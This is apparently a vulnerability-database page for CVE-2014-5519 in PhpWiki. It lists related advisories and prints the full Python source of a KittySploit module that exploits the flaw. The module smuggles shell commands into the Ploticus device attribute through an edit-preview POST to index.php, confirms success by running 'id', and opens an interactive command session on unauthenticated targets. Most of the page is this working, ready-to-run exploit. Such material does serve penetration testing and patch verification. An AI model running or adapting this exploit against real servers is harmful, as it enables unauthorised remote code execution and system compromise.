PhpWiki Ploticus RCE (CVE-2014-5519)
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| Phpwiki Ploticus Remote Code Execution Exploit | 17 Sep 201400:00 | – | zdt | |
| CVE-2014-5519 | 29 May 201815:50 | – | circl | |
| CVE-2014-5519 | 11 Sep 201414:00 | – | cve | |
| CVE-2014-5519 | 11 Sep 201414:00 | – | cvelist | |
| PhpWiki - Remote Command Execution | 28 Aug 201400:00 | – | exploitdb | |
| PhpWiki - Ploticus RCE Detection (CVE-2014-5519) | 10 Aug 202606:19 | – | kittysploit | |
| Phpwiki Ploticus Remote Code Execution | 11 Sep 201400:00 | – | metasploit | |
| CVE-2014-5519 | 11 Sep 201414:16 | – | nvd | |
| PhpWiki RCE Vulnerability | 29 Aug 201400:00 | – | openvas | |
| Phpwiki Ploticus Remote Code Execution | 16 Sep 201400:00 | – | packetstorm |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""PhpWiki Ploticus device command injection RCE (CVE-2014-5519) — execute session."""
from __future__ import annotations
import re
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'PhpWiki Ploticus RCE (CVE-2014-5519)',
'description': (
'Exploits CVE-2014-5519 command injection in the Ploticus device attribute '
'via edit preview on index.php. Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2014-5519'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2014-5519',
],
'tags': ['phpwiki', 'ploticus', 'rce', 'cmdi', 'unauth', 'cve-2014-5519'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 3,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals', 'rce'],
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': 'Ploticus device injection'},
{'capability': 'shell', 'from_detail': 'execute session'},
],
'suggested_followups': ['scanner/http/cve_2014_5519_detect'],
},
},
}
base_path = OptString('', 'PhpWiki base path', False, advanced=True)
def _bases(self) -> list[str]:
base = str(self.base_path or '').strip().rstrip('/')
if base:
return [base]
return ['/phpwiki', '/wiki', '']
def _ploticus(self, cmd: str) -> str:
safe = str(cmd).replace('"', '\\"')
return (
f'<<Ploticus device=";echo 123\':::\'+1>&2;{safe} 1>&2;echo \':::\'123 1>&2;" '
'-prefab= -csmap= data= alt= help= >>'
)
def execute(self, cmd: str) -> str:
content = self._ploticus(cmd)
data = (
'pagename=HeIp&'
f'edit%5Bcontent%5D={quote(content, safe="")}&'
'edit%5Bpreview%5D=Preview&action=edit'
)
bases = [getattr(self, '_hit_base', None)] if getattr(self, '_hit_base', None) is not None else self._bases()
for base in bases:
if base is None:
continue
if not self.base_path and base == '':
probe = self.http_request(method='GET', path='/', allow_redirects=False)
if probe and 'PhpWiki' not in (probe.text or ''):
continue
path = f'{base}/index.php'
r = self.http_request(
method='POST',
path=path,
data=data,
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
if r:
self._hit_base = base
return r.text or ''
return ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2014-5519 confirmed via id output',
'confidence': 'high',
}
return {
'vulnerable': False,
'reason': 'Ploticus preview did not return command output',
'confidence': 'medium',
}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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04 Sep 2026 06:36Current
6Medium risk
Vulners AI Score6
CVSS 27.5
EPSS0.64971